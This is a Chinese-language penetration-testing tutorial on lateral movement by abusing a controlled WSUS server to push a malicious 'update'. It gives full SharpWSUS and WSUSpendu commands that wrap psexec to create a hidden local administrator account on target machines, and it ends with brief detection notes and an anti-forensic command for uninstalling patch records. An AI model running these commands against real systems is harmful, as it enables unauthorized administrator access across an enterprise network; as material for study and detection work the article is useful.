渗透技巧——通过WSUS进行横向移动
0x00 前言
在内网渗透中,当我们获得了WSUS服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。
参考资料:
https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf
https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/
https://labs.nettitude.com/blog/introducing-sharpwsus/
0x01 简介
本文将要介绍以下内容:
- 环境搭建
- 利用思路
- 实现工具
- 行为检测
0x02 环境搭建
本节介绍WSUS服务器搭建的过程,通过配置客户端实现补丁的推送
参考资料:
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)
1.WSUS服务器搭建
WSUS服务器需要安装在Windows Server操作系统
(1)安装
在添加角色和功能页面,选择Windows Server Update Services
需要指定补丁更新包的存放路径,这里可以设置为C:\WSUS
(2)配置
打开Windows Server Update Services
进行配置
配置时选择默认选项即可,在选择Download update information from Microsoft Update
时,点击Start Connecting
,如果报错提示An HTTP error has occurred
,经过我的多次测试,可以采用以下方法解决:
关闭当前页面
进入Windows Server Update Services
,选择synchronization
,点击synchronization Now
,等待同步完成,如下图
选择Options
,选择WSUS Server Configuration Wizard
,重新进入配置页面,连接成功,如下图
配置完成后需要创建计算机组,如下图
当同步完成后,会提示下载了多少个补丁,如下图
选择Updates
页面,可以查看已下载的补丁,Unapproved
表示未安装的补丁,安装后的补丁可以选择Approved
进行查看,如下图
选中一个补丁,点击Approve...
,弹出的对话框可以针对指定计算机组安装补丁,如下图
2.客户端配置
客户端只要是Windows系统即可,需要通过组策略配置
依次选择Computer Configuration
-> Administrative Templates
-> Windows Components
-> Windows Update
,选择Configure Automatic Updates
,设置成Auto download and notify for install
,选择Specify intranet Microsoft update service location
,设置更新服务器地址为http://192.168.1.182:8530
注:
需要指定端口8530
对于域环境,配置组策略后需要等待一段时间,这是因为组策略每90分钟在后台更新一次,随机偏移量为0-30分钟,如果想立即生效,可以输入命令:gpupdate /force
对于工作组环境,配置组策略可以立即生效
当客户端开始补丁更新时,WSUS服务器会获得客户端的信息,并显示在Computers
页面
组策略配置的操作等同于创建注册表,具体信息如下:
(1)组策略配置自动更新后会创建注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
查询命令:REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"
返回结果示例:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
UseWUServer REG_DWORD 0x1
NoAutoUpdate REG_DWORD 0x0
AUOptions REG_DWORD 0x3
ScheduledInstallDay REG_DWORD 0x0
ScheduledInstallTime REG_DWORD 0x3
其中AUOptions
对应组策略配置中的Configure automatic updating
,2
代表Notify for download and notify for install
,3
代表Auto download and notify for install
,4
代表Auto download and schedule the install
,5
代表Allow local admin to choose setting
(2)组策略配置服务器地址后会创建注册表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
查询命令:REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
返回结果示例:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://192.168.112.182:8530
WUStatusServer REG_SZ http://192.168.112.182:8530
3.推送补丁
在WSUS服务器的Windows Server Update Services
页面,选择指定补丁,右键点击Approve...
,在弹出的对话框中选择计算机组即可
等待客户端到达补丁更新时间,即可完成补丁的推送
0x03 利用思路
如果我们能够生成一个带有Payload的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows的补丁文件需要带有微软的签名
通常的利用方法是使用带有微软签名的程序,例如psexec,通过psexec执行命令或者添加一个管理员用户
0x04 实现工具
开源的工具有以下三个:
https://github.com/nettitude/SharpWSUS
https://github.com/AlsidOfficial/WSUSpendu
https://github.com/ThunderGunExpress/Thunder_Woosus
以上三个工具的实现原理基本相同,都是创建一个调用psexec执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁
创建补丁的操作需要连接SQL数据库,依次实现以下操作:
- ImportUpdate
- PrepareXMLtoClient
- InjectURL2Download
- DeploymentRevision
- PrepareBundle
- PrepareXMLBundletoClient
- DeploymentRevision
1.创建补丁
SharpWSUS在创建补丁时需要注意转义字符,命令示例:
SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"
这条命令将会在Updates
的Security Updates
页面下创建WSUSDemo
,如下图
2.补丁部署
将补丁部署到指定计算机组,命令示例:
SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group"
这条命令会创建计算机组Demo Group
,并且把win-iruj9k30gr7
移动到该组下面,如下图
接下来需要等待客户端安装这个补丁
3.查看补丁状态
查看补丁是否被安装,命令示例:
SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7
补丁未安装的输出如下:
[*] Action: Check Update
Targeting win-iruj9k30gr7
TargetComputer, ComputerID, TargetID
------------------------------------
win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2
Update Info cannot be found.
[*] Check complete
还有一种查看方法是查看计算机的补丁更新时间,示例命令:SharpWSUS.exe inspect
输出示例:
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM
win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM
为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图
4.清除补丁信息
命令示例:
SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group"
这条命令会删除补丁,删除添加的计算机组
在整个补丁更新过程中,WSUS服务器会将psexec.exe保存在WSUS服务器本地C:\wsus\wuagent.exe
和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe
,需要手动清除
在测试WSUSpendu时,为了便于分析细节,可以修改以下代码:
[CmdletBinding()]
Param(
)
$PayloadFile = "psexec.exe"
$PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net localgroup Administrators Titi /add"'
$ComputerName = "win-iruj9k30gr7"
$Inject = 1
命令行执行:powershell -ep bypass -f WSUSpendu.ps1 -Verbose
,将会输出完整的信息
0x05 行为检测
客户端的补丁历史更新记录会保存所有的补丁安装信息:
如下图
但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:
查看更新:wmic qfe list brief/format:table
卸载指定更新:wusa /uninstall /kb:976902 /quiet /norestart
0x06 小结
本文介绍了通过WSUS进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。